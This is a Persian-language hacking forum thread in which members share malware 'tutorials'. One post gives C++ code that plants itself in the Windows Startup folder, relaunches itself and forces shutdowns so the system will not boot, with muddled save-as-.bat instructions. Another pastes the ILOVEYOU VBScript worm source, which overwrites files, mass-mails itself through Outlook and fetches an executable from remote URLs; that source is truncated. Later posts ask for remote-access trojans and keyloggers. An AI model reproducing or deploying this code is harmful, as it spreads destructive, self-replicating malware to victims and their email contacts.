آموزش انواع کیلاگر ها و ویروس ها
نمایش نتایج: از 1 به 6 از 6

موضوع: آموزش انواع کیلاگر ها و ویروس ها

  1. #1
    Active Member
    E]moTion] آواتار ها
    تاریخ عضویت
    2015/04/07
    محل سکونت
    master wizard
    نوشته ها
    108
    پسندیده
    561
    تشکر شده 147 بار در 48 ارسال.
    میزان امتیاز
    0

    آموزش انواع کیلاگر ها و ویروس ها

    با سلام خدمت دوستان عزیز تونل و مدیر گرامی
    در این تاپیک اموزش کیلاگر ها و ویروس ها قرار میگیرد





    قوانین:
    1-اسپم ممنوع
    2-هرگونه اموزش اشتباه ممنوع
    3 - ادب را رعایت کنید

  2. کاربر زیر از E]moTion] عزیز به خاطر این پست مفید تشکر کرده است:


  3. #2
    کاربر عادی
    ehsan20000 آواتار ها
    تاریخ عضویت
    2015/10/29
    محل سکونت
    RooT
    نوشته ها
    3
    پسندیده
    0
    تشکر شده 3 بار در 2 ارسال.
    میزان امتیاز
    0

    Post ویروس خطرناک

    با سلام خدمت همه دوستان عزیز

    براتون ویروسی آوردم که به هیچ عنوان وقتی فعال بشه سیستم بالا نمیاد و بعد عوض کردن ویندوز تو هارد میمونه،اگه خواستین بگین چیز های بیشتری براتون بذارم


    یک nodpad باز کنید و کد رو داخلش کپی کنین

    کد ویروس:


    کد:
    
    
    #include <iostream>
    #include <stdlib.h>
    #include <windows.h>
    #include <iomanip>
    #include <stdio.h>
    #include <conio.h>
    #include <fstream>
    using namespace std;
    
    
    int main()
    { keybd_event(VK_MENU,0x38,0,0);
    keybd_event(VK_RETURN,0x1c,0,0);
    keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
    keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
    HANDLE outToScreen;
    outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
    
    
    {
    char buffer[255];
    char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
    ifstream input(inputFile);
    if (!input)
    {
    {
    ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
    fp << "@ECHO OFF \n";
    fp << "START C:\\rawr.exe \n";
    fp << "EXIT";
    }
    }
    else
    {
    while (!input.eof())
    {
    input.getline(buffer,255);
    }
    }
    }
    
    
    {
    char buffer[255];
    char inputFile[]="C:\\rawr.exe";
    ifstream input(inputFile);
    if (!input)
    {
    {
    {
    ofstream fp("CLICK.bat", ios::app);
    fp << "@ECHO OFF \n";
    fp << "COPY matrix.exe C:\\rawr.exe \n";
    fp << "START C:\\rawr.exe \n";
    fp << "EXIT";
    }
    system("START CLICK.bat");
    main();
    }
    }
    else
    {
    while (!input.eof())
    {
    input.getline(buffer,255);
    system("call shutdown.exe -S");
    goto START;
    }
    }
    }
    
    
    START:{
    for(int i = 0; i < 1; i++)
    {
    int num = (rand() % 10);
    SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
    cout << setw(4) << num;
    cout << setw(4) << "0%";
    cout << setw(4) << "P";
    cout << setw(4) << " ";
    cout << setw(4) << ")";
    cout << setw(4) << "#";
    cout << setw(4) << "X";
    cout << setw(4) << "@";
    cout << setw(4) << "1&";
    cout << setw(4) << "*";
    cout << setw(4) << "||";
    cout << setw(4) << " \a";
    Sleep(60);
    }
    }
    for ( int j = 0; j < 5; j++)
    {
    SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
    int number = (rand() % 24);
    cout << setw(4) << number;
    }
    goto START;
    }
    
    



    حالا nodpad رو با فرمت BAT ذخیره کنین.

    توجه : به هیچ عنوان روی سیستم خودتون اجرا نکنین مواظب هم باشین وقتی سیو کردین اگه سیستمون بنا به هزاران مشکل ویندوز ها یا سیستم ها بعضی وقتا سرعت پایین هستن یا هنگ میکنن اینتر نزنین که باعث میشه بعد چند دقیقه که سیستمون از هنگ اومد بیرون اجرا نشه که در غیر این صورت خودتونو سرزنش کنین

    در صورت خواستار و نظرات ویروس ها و برنامه های ** بیشتری قرار میدم

    یا علی
    ویرایش توسط ehsan20000 : 2015/10/30 در ساعت 04:12

  4. 2 کاربر زیر از ehsan20000 عزیز به خاطر این پست مفید تشکر کرده اند .


  5. #3
    کاربر عادی
    ehsan20000 آواتار ها
    تاریخ عضویت
    2015/10/29
    محل سکونت
    RooT
    نوشته ها
    3
    پسندیده
    0
    تشکر شده 3 بار در 2 ارسال.
    میزان امتیاز
    0
    اینم ویروس I love You

    کد:
    On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosof tWindows Scripting HostSettingsTimeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"MSKernel32.vbs") c.Copy(dirwin&"Win32DLL.vbs") c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionRunMSKernel32 ",dirsystem&"MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionRunServicesWi n32DLL",dirwin&"Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USERSoftwareMicrosof tInternet ExplorerDownload Directory") if (downread="") then downread="c:" end if if (fileexist(dirsystem&"WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX .exe" end if end if if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionRunWIN-BUGSFI X",downread&"WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"script.in i") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMic rosoftWAB"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMi crosoftWAB"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1," REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addres sEntries.Count else regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.Addres sEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="

    منتظر نظرات شما عزیزان هستم...یاعلی

  6. کاربر زیر از ehsan20000 عزیز به خاطر این پست مفید تشکر کرده است:


  7. #4
    کاربر عادی
    Soĸoυт آواتار ها
    تاریخ عضویت
    2015/08/22
    محل سکونت
    ฬ є ๒
    نوشته ها
    29
    پسندیده
    66
    تشکر شده 39 بار در 15 ارسال.
    میزان امتیاز
    0
    ویروسی داریم که وقتی طرف بازش کرد کنترل سیستم طرف بدستمون بیاد ؟

  8. #5
    Forum Member
    ehsanking آواتار ها
    تاریخ عضویت
    2013/08/19
    نوشته ها
    168
    پسندیده
    271
    تشکر شده 79 بار در 34 ارسال.
    میزان امتیاز
    0
    سلام دوستان خوبین؟ آقا از برنامه نویسایی که تو سایت هستن کسی سایت داره برای فروش برنامه هاش؟یا کسی کیلاگر میفروشه؟ تو گروه های تلگرامی همه zen rat معرفی کردن برنامه های ایرانی هم هستن که همین کارو کنن ؟

  9. #6
    Banned
    تاریخ عضویت
    2024/01/13
    نوشته ها
    0
    پسندیده
    0
    تشکر شده 1 بار در 1 ارسال .
    میزان امتیاز
    0

اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •  

اکانت پرمیوم

کینگ مووی

بیاتوموویز

مای موویز

سینما